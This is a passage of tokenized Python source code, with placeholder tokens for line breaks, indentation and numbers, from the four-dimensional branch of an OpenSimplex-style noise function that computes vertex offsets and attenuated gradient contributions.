SQUISH_CONSTANT_4D<EOL>dy_ext2 = dy0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz_ext2 = dz0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw_ext2 = dw0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>if (c2 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>xsv_ext2 += <NUM_LIT:2><EOL>dx_ext2 -= <NUM_LIT:2><EOL><DEDENT>elif (c2 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>ysv_ext2 += <NUM_LIT:2><EOL>dy_ext2 -= <NUM_LIT:2><EOL><DEDENT>elif (c2 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>zsv_ext2 += <NUM_LIT:2><EOL>dz_ext2 -= <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>wsv_ext2 += <NUM_LIT:2><EOL>dw_ext2 -= <NUM_LIT:2><EOL><DEDENT><DEDENT>dx1 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL>dy1 = dy0 - <NUM_LIT:0> - SQUISH_CONSTANT_4D<EOL>dz1 = dz0 - <NUM_LIT:0> - SQUISH_CONSTANT_4D<EOL>dw1 = dw0 - <NUM_LIT:0> - SQUISH_CONSTANT_4D<EOL>attn1 = <NUM_LIT:2> - dx1 * dx1 - dy1 * dy1 - dz1 * dz1 - dw1 * dw1<EOL>if attn1 > <NUM_LIT:0>:<EOL><INDENT>attn1 *= attn1<EOL>value += attn1 * attn1 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:0>, dx1, dy1, dz1, dw1)<EOL><DEDENT>dx2 = dx0 - <NUM_LIT:0> - SQUISH_CONSTANT_4D<EOL>dy2 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL>dz2 = dz1<EOL>dw2 = dw1<EOL>attn2 = <NUM_LIT:2> - dx2 * dx2 - dy2 * dy2 - dz2 * dz2 - dw2 * dw2<EOL>if attn2 > <NUM_LIT:0>:<EOL><INDENT>attn2 *= attn2<EOL>value += attn2 * attn2 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:0>, dx2, dy2, dz2, dw2)<EOL><DEDENT>dx3 = dx2<EOL>dy3 = dy1<EOL>dz3 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL>dw3 = dw1<EOL>attn3 = <NUM_LIT:2> - dx3 * dx3 - dy3 * dy3 - dz3 * dz3 - dw3 * dw3<EOL>if attn3 > <NUM_LIT:0>:<EOL><INDENT>attn3 *= attn3<EOL>value += attn3 * attn3 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:0>, dx3, dy3, dz3, dw3)<EOL><DEDENT>dx4 = dx2<EOL>dy4 = dy1<EOL>dz4 = dz1<EOL>dw4 = dw0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL>attn4 = <NUM_LIT:2> - dx4 * dx4 - dy4 * dy4 - dz4 * dz4 - dw4 * dw4<EOL>if attn4 > <NUM_LIT:0>:<EOL><INDENT>attn4 *= attn4<EOL>value += attn4 * attn4 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:1>, dx4, dy4, dz4, dw4)<EOL><DEDENT>dx5 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy5 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz5 = dz0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw5 = dw0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>attn5 = <NUM_LIT:2> - dx5 * dx5 - dy5 * dy5 - dz5 * dz5 - dw5 * dw5<EOL>if attn5 > <NUM_LIT:0>:<EOL><INDENT>attn5 *= attn5<EOL>value += attn5 * attn5 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:0>, dx5, dy5, dz5, dw5)<EOL><DEDENT>dx6 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy6 = dy0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz6 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw6 = dw0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>attn6 = <NUM_LIT:2> - dx6 * dx6 - dy6 * dy6 - dz6 * dz6 - dw6 * dw6<EOL>if attn6 > <NUM_LIT:0>:<EOL><INDENT>attn6 *= attn6<EOL>value += attn6 * attn6 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:0>, dx6, dy6, dz6, dw6)<EOL><DEDENT>dx7 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy7 = dy0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz7 = dz0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw7 = dw0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>attn7 = <NUM_LIT:2> - dx7 * dx7 - dy7 * dy7 - dz7 * dz7 - dw7 * dw7<EOL>if attn7 > <NUM_LIT:0>:<EOL><INDENT>attn7 *= attn7<EOL>value += attn7 * attn7 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:1>, dx7, dy7, dz7, dw7)<EOL><DEDENT>dx8 = dx0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy8 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz8 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw8 = dw0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>attn8 = <NUM_LIT:2> - dx8 * dx8 - dy8 * dy8 - dz8 * dz8 - dw8 * dw8<EOL>if attn8 > <NUM_LIT:0>:<EOL><INDENT>attn8 *= attn8<EOL>value += attn8 * attn8 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:0>, dx8, dy8, dz8, dw8)<EOL><DEDENT>dx9 = dx0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy9 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz9 = dz0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw9 = dw0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>attn9 = <NUM_LIT:2> - dx9 * dx9 - dy9 * dy9 - dz9 * dz9 - dw9 * dw9<EOL>if attn9 > <NUM_LIT:0>:<EOL><INDENT>attn9 *= attn9<EOL>value += attn9 * attn9 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:1>, dx9, dy9, dz9, dw9)<EOL><DEDENT>dx10 = dx0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy10 = dy0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz10 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw10 = dw0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>attn10 = <NUM_LIT:2> - dx10 * dx10 - dy10 * dy10 - dz10 * dz10 - dw10 * dw10<EOL>if attn10 > <NUM_LIT:0>:<EOL><INDENT>attn10 *= attn10<EOL>value += attn10 * attn10 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:1>, dx10, dy10, dz10, dw10)<EOL><DEDENT><DEDENT>else: <EOL><INDENT>a_is_bigger_side = True<EOL>b_is_bigger_side = True<EOL>if xins + yins < zins + wins:<EOL><INDENT>a_score = xins + yins<EOL>a_po = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>a_score = zins + wins<EOL>a_po = <NUM_LIT><EOL><DEDENT>if xins + zins < yins + wins:<EOL><INDENT>b_score = xins + zins<EOL>b_po = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>b_score = yins + wins<EOL>b_po = <NUM_LIT><EOL><DEDENT>if xins + wins < yins + zins:<EOL><INDENT>score = xins + wins<EOL>if a_score <= b_score and score < b_score:<EOL><INDENT>b_score = score<EOL>b_po = <NUM_LIT><EOL><DEDENT>elif a_score > b_score and score < a_score:<EOL><INDENT>a_score = score<EOL>a_po = <NUM_LIT><EOL><DEDENT><DEDENT>else:<EOL><INDENT>score = yins + zins<EOL>if a_score <= b_score and score < b_score:<EOL><INDENT>b_score = score<EOL>b_po = <NUM_LIT><EOL><DEDENT>elif a_score > b_score and score < a_score:<EOL><INDENT>a_score = score<EOL>a_po = <NUM_LIT><EOL><DEDENT><DEDENT>p1 = <NUM_LIT:3> - in_sum + xins<EOL>if a_score <= b_score and p1 < b_score:<EOL><INDENT>b_score = p1<EOL>b_po = <NUM_LIT><EOL>b_is_bigger_side = False<EOL><DEDENT>elif a_score > b_score and p1 < a_score:<EOL><INDENT>a_score = p1<EOL>a_po = <NUM_LIT><EOL>a_is_bigger_side = False<EOL><DEDENT>p2 = <NUM_LIT:3> - in_sum + yins<EOL>if a_score <= b_score and p2 < b_score:<EOL><INDENT>b_score = p2<EOL>b_po = <NUM_LIT><EOL>b_is_bigger_side = False<EOL><DEDENT>elif a_score > b_score and p2 < a_score:<EOL><INDENT>a_score = p2<EOL>a_po = <NUM_LIT><EOL>a_is_bigger_side = False<EOL><DEDENT>p3 = <NUM_LIT:3> - in_sum + zins<EOL>if a_score <= b_score and p3 < b_score:<EOL><INDENT>b_score = p3<EOL>b_po = <NUM_LIT><EOL>b_is_bigger_side = False<EOL><DEDENT>elif a_score > b_score and p3 < a_score:<EOL><INDENT>a_score = p3<EOL>a_po = <NUM_LIT><EOL>a_is_bigger_side = False<EOL><DEDENT>p4 = <NUM_LIT:3> - in_sum + wins<EOL>if a_score <= b_score and p4 < b_score:<EOL><INDENT>b_po = <NUM_LIT><EOL>b_is_bigger_side = False<EOL><DEDENT>elif a_score > b_score and p4 < a_score:<EOL><INDENT>a_po = <NUM_LIT><EOL>a_is_bigger_side = False<EOL><DEDENT>if a_is_bigger_side == b_is_bigger_side:<EOL><INDENT>if a_is_bigger_side: <EOL><INDENT>c1 = (a_po & b_po)<EOL>c2 = (a_po | b_po)<EOL>xsv_ext0 = xsv_ext1 = xsb<EOL>ysv_ext0 = ysv_ext1 = ysb<EOL>zsv_ext0 = zsv_ext1 = zsb<EOL>wsv_ext0 = wsv_ext1 = wsb<EOL>dx_ext0 = dx0 - SQUISH_CONSTANT_4D<EOL>dy_ext0 = dy0 - SQUISH_CONSTANT_4D<EOL>dz_ext0 = dz0 - SQUISH_CONSTANT_4D<EOL>dw_ext0 = dw0 - SQUISH_CONSTANT_4D<EOL>dx_ext1 = dx0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy_ext1 = dy0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz_ext1 = dz0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw_ext1 = dw0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>if (c1 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 += <NUM_LIT:1><EOL>dx_ext0 -= <NUM_LIT:1><EOL>xsv_ext1 += <NUM_LIT:2><EOL>dx_ext1 -= <NUM_LIT:2><EOL><DEDENT>elif (c1 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 += <NUM_LIT:1><EOL>dy_ext0 -= <NUM_LIT:1><EOL>ysv_ext1 += <NUM_LIT:2><EOL>dy_ext1 -= <NUM_LIT:2><EOL><DEDENT>elif (c1 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 += <NUM_LIT:1><EOL>dz_ext0 -= <NUM_LIT:1><EOL>zsv_ext1 += <NUM_LIT:2><EOL>dz_ext1 -= <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>wsv_ext0 += <NUM_LIT:1><EOL>dw_ext0 -= <NUM_LIT:1><EOL>wsv_ext1 += <NUM_LIT:2><EOL>dw_ext1 -= <NUM_LIT:2><EOL><DEDENT>xsv_ext2 = xsb + <NUM_LIT:1><EOL>ysv_ext2 = ysb + <NUM_LIT:1><EOL>zsv_ext2 = zsb + <NUM_LIT:1><EOL>wsv_ext2 = wsb + <NUM_LIT:1><EOL>dx_ext2 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy_ext2 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz_ext2 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw_ext2 = dw0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>if (c2 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>xsv_ext2 -= <NUM_LIT:2><EOL>dx_ext2 += <NUM_LIT:2><EOL><DEDENT>elif (c2 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>ysv_ext2 -= <NUM_LIT:2><EOL>dy_ext2 += <NUM_LIT:2><EOL><DEDENT>elif (c2 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>zsv_ext2 -= <NUM_LIT:2><EOL>dz_ext2 += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>wsv_ext2 -= <NUM_LIT:2><EOL>dw_ext2 += <NUM_LIT:2><EOL><DEDENT><DEDENT>else: <EOL><INDENT>xsv_ext2 = xsb + <NUM_LIT:1><EOL>ysv_ext2 = ysb + <NUM_LIT:1><EOL>zsv_ext2 = zsb + <NUM_LIT:1><EOL>wsv_ext2 = wsb + <NUM_LIT:1><EOL>dx_ext2 = dx0 - <NUM_LIT:1> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL>dy_ext2 = dy0 - <NUM_LIT:1> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL>dz_ext2 = dz0 - <NUM_LIT:1> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL>dw_ext2 = dw0 - <NUM_LIT:1> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL>c = (a_po & b_po)<EOL>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsb + <NUM_LIT:2><EOL>xsv_ext1 = xsb + <NUM_LIT:1><EOL>dx_ext0 = dx0 - <NUM_LIT:2> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dx_ext1 = dx0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsb<EOL>dx_ext0 = dx_ext1 = dx0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb + <NUM_LIT:1><EOL>dy_ext0 = dy_ext1 = dy0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 += <NUM_LIT:1><EOL>dy_ext0 -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ysv_ext1 += <NUM_LIT:1><EOL>dy_ext1 -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb<EOL>dy_ext0 = dy_ext1 = dy0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb + <NUM_LIT:1><EOL>dz_ext0 = dz_ext1 = dz0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 += <NUM_LIT:1><EOL>dz_ext0 -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>zsv_ext1 += <NUM_LIT:1><EOL>dz_ext1 -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb<EOL>dz_ext0 = dz_ext1 = dz0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>wsv_ext0 = wsb + <NUM_LIT:1><EOL>wsv_ext1 = wsb + <NUM_LIT:2><EOL>dw_ext0 = dw0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dw_ext1 = dw0 - <NUM_LIT:2> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsb<EOL>dw_ext0 = dw_ext1 = dw0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT><DEDENT><DEDENT>else: <EOL><INDENT>if a_is_bigger_side:<EOL><INDENT>c1 = a_po<EOL>c2 = b_po<EOL><DEDENT>else:<EOL><INDENT>c1 = b_po<EOL>c2 = a_po<EOL><DEDENT>if (c1 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsb + <NUM_LIT:2><EOL>xsv_ext1 = xsb + <NUM_LIT:1><EOL>dx_ext0 = dx0 - <NUM_LIT:2> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dx_ext1 = dx0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsb<EOL>dx_ext0 = dx_ext1 = dx0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c1 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb + <NUM_LIT:1><EOL>dy_ext0 = dy_ext1 = dy0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>if (c1 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 += <NUM_LIT:1><EOL>dy_ext0 -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ysv_ext1 += <NUM_LIT:1><EOL>dy_ext1 -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb<EOL>dy_ext0 = dy_ext1 = dy0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c1 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb + <NUM_LIT:1><EOL>dz_ext0 = dz_ext1 = dz0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>if (c1 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 += <NUM_LIT:1><EOL>dz_ext0 -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>zsv_ext1 += <NUM_LIT:1><EOL>dz_ext1 -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb<EOL>dz_ext0 = dz_ext1 = dz0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c1 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>wsv_ext0 = wsb + <NUM_LIT:1><EOL>wsv_ext1 = wsb + <NUM_LIT:2><EOL>dw_ext0 = dw0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dw_ext1 = dw0 - <NUM_LIT:2> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsb<EOL>dw_ext0 = dw_ext1 = dw0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>xsv_ext2 = xsb + <NUM_LIT:1><EOL>ysv_ext2 = ysb + <NUM_LIT:1><EOL>zsv_ext2 = zsb + <NUM_LIT:1><EOL>wsv_ext2 = wsb + <NUM_LIT:1><EOL>dx_ext2 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy_ext2 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz_ext2 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw_ext2 = dw0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>if (c2 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>xsv_ext2 -= <NUM_LIT:2><EOL>dx_ext2 += <NUM_LIT:2><EOL><DEDENT>elif (c2 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>ysv_ext2 -= <NUM_LIT:2><EOL>dy_ext2 += <NUM_LIT:2><EOL><DEDENT>elif (c2 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>zsv_ext2 -= <NUM_LIT:2><EOL>dz_ext2 += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>wsv_ext2 -= <NUM_LIT:2><EOL>dw_ext2 += <NUM_LIT:2><EOL><DEDENT><DEDENT>dx4 = dx0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dy4 = dy0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dz4 = dz0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dw4 = dw0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>attn4 = <NUM_LIT:2> - dx4 * dx4 - dy4 * dy4 - dz4 * dz4 - dw4 * dw4<EOL>if attn4 > <NUM_LIT:0>:<EOL><INDENT>attn4 *= attn4<EOL>value += attn4 * attn4 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:0>, dx4, dy4, dz4, dw4)<EOL><DEDENT>dx3 = dx4<EOL>dy3 = dy4<EOL>dz3 = dz0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dw3 = dw0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>attn3 = <NUM_LIT:2> - dx3 * dx3 - dy3 * dy3 - dz3 * dz3 - dw3 * dw3<EOL>if attn3 > <NUM_LIT:0>:<EOL><INDENT>attn3 *= attn3<EOL>value += attn3 * attn3 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:1>, dx3, dy3, dz3, dw3)<EOL><DEDENT>dx2 = dx4<EOL>dy2 = dy0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dz2 = dz4<EOL>dw2 = dw3<EOL>attn2 = <NUM_LIT:2> - dx2 * dx2 - dy2 * dy2 - dz2 * dz2 - dw2 * dw2<EOL>if attn2 > <NUM_LIT:0>:<EOL><INDENT>attn2 *= attn2<EOL>value += attn2 * attn2 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:1>, dx2, dy2, dz2, dw2)<EOL><DEDENT>dx1 = dx0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dz1 = dz4<EOL>dy1 = dy4<EOL>dw1 = dw3<EOL>attn1 = <NUM_LIT:2> - dx1 * dx1 - dy1 * dy1 - dz1 * dz1 - dw1 * dw1<EOL>if attn1 > <NUM_LIT:0>:<EOL><INDENT>attn1 *= attn1<EOL>value += attn1 * attn1 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:1>, dx1, dy1, dz1, dw1)<EOL><DEDENT>dx5 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy5 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz5 = dz0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw5 = dw0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>attn5 = <NUM_LIT:2> - dx5 * dx5 - dy5 * dy5 - dz5 * dz5 - dw5 * dw5<EOL>if attn5 > <NUM_LIT:0>:<EOL><INDENT>attn5 *= attn5<EOL>value += attn5 * attn5 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:0>, dx5, dy5, dz5, dw5)<EOL><DEDENT>dx6 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy6 = dy0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz6 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw6 = dw0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>attn6 = <NUM_LIT:2> - dx6 * dx6 - dy6 * dy6 - dz6 * dz6 - dw6 * dw6<EOL>if attn6 > <NUM_LIT:0>:<EOL><INDENT>attn6 *= attn6<EOL>value += attn6 * attn6 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:0>, dx6, dy6, dz6, dw6)<EOL><DEDENT>dx7 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy7 = dy0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz7 = dz0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw7 = dw0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>attn7 = <NUM_LIT:2> - dx7 * dx7 - dy7 * dy7 - dz7 * dz7 - dw7 * dw7<EOL>if attn7 > <NUM_LIT:0>:<EOL><INDENT>attn7 *= attn7<EOL>value += attn7 * attn7 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:1>, dx7, dy7, dz7, dw7)<EOL><DEDENT>dx8 = dx0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy8 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz8 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw8 = dw0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>attn8 = <NUM_LIT:2> - dx8 * dx8 - dy8 * dy8 - dz8 * dz8 - dw8 * dw8<EOL>if attn8 > <NUM_LIT:0>:<EOL><INDENT>attn8 *= attn8<EOL>value += attn8 * attn8 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:0>, dx8, dy8, dz8, dw8)<EOL><DEDENT>dx9 = dx0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy9 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz9 = dz0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw9 = dw0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>attn9 = <NUM_LIT:2> - dx9 * dx9 - dy9 * dy9 - dz9 * dz9 - dw9 * dw9<EOL>if attn9 > <NUM_LIT:0>:<EOL><INDENT>attn9 *= attn9<EOL>value += attn9 * attn9 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:1>, dx9, dy9, dz9, dw9)<EOL><DEDENT>dx10 = dx0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy10 = dy0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz10 = dz0 - 